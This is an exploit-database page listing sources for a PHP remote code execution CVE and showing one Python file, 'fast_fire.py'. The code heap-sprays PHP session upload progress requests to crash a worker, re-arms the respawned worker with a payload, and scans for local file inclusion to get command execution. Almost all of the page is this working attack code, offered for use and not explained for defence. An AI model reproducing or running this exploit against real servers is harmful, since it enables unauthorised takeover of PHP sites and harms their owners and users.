Exploit databaseDownload repository ZIP
GH-d926f5e7010d39afeb1b87bc528cb572
david-alvarez-rosa/php-rce
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
david-alvarez-rosa/php-rceRevision 9a8f61c87dbc
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploits/fast_fire.py
Python · 3,351 bytesfrom __future__ import annotations
import random
import struct
import time
from .common import (ALNUM, SPRAY_U_LEN, MARKER_U, UA,
arm_body_with_payload, connect, recv_all, mp_part,
raw_send, status_code, scan_lfi, parse_target)
def fast_fire(url, cmd, sid, marker, payload):
"""Rapid-fire reclaimer — blast the armed child with fire requests,
alternating spray shapes. Kill on connection-refused / empty response.
After a kill signature (worker SIGSEGV), re-arm the respawned worker
via the serialize path (persistent session file) and scan LFI for
command execution.
"""
host, port, use_tls, path = parse_target(url)
bnd = b"FastFire2026"
shapes = [150, 250, 350, 450]
zval = struct.pack("<QII", MARKER_U, 8, 0)
spray = (zval * (SPRAY_U_LEN // 16))[:SPRAY_U_LEN]
small = struct.pack("<QII", MARKER_U, 8, 0) + b"\x00" * 8
bodies = {}
for n in shapes:
out = bytearray()
out += mp_part(bnd, b"PHPSESSID", sid.encode())
out += mp_part(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"x")
for _ in range(n):
out += mp_part(bnd, b"s[]", spray)
for _ in range(600):
out += mp_part(bnd, b"t[]", small)
out += mp_part(bnd, b"f", b"A" * 6144, filename=b"a")
out += mp_part(bnd, b"g", b"B" * 6144, filename=b"b")
out += b"--" + bnd + b"--\r\n"
bodies[n] = bytes(out)
print(f" blasting 60 fire requests (shapes {shapes})")
killed = False
for i in range(60):
shape = shapes[i % len(shapes)]
body = bodies[shape]
try:
s = connect(host, port, use_tls, 15)
try:
req = (
f"POST {path} HTTP/1.1\r\nHost: {host}\r\n"
f"User-Agent: {UA}\r\n"
f"Cookie: PHPSESSID={sid}\r\n"
f"Content-Type: multipart/form-data; boundary={bnd.decode()}\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s.sendall(req)
resp = recv_all(s, 15)
finally:
try:
s.close()
except OSError:
pass
except (OSError, ConnectionError):
print(f" KILL at fire#{i}")
killed = True
break
if not resp:
print(f" KILL at fire#{i} (worker SIGSEGV)")
killed = True
break
if not killed:
print(" no kill signature after 60 fires")
return None
print(" worker killed, waiting for respawn...")
time.sleep(1.5)
rearm_sid = "s" + "".join(random.choices(ALNUM, k=25))
rearm_bnd = b"RearmFire"
rearm = arm_body_with_payload(rearm_sid, rearm_bnd, payload)
print(" re-arming with payload (serialize path)")
resp = raw_send(host, port, rearm, rearm_bnd.decode(), rearm_sid, path,
use_tls, stall=1.35, chunk=8192)
sc = status_code(resp)
print(f" re-arm status={sc}")
if sc is not None:
out = scan_lfi(host, port, path, rearm_sid, marker, use_tls)
if out:
print(" RCE confirmed via LFI")
return out
print(" no LFI path found")
return None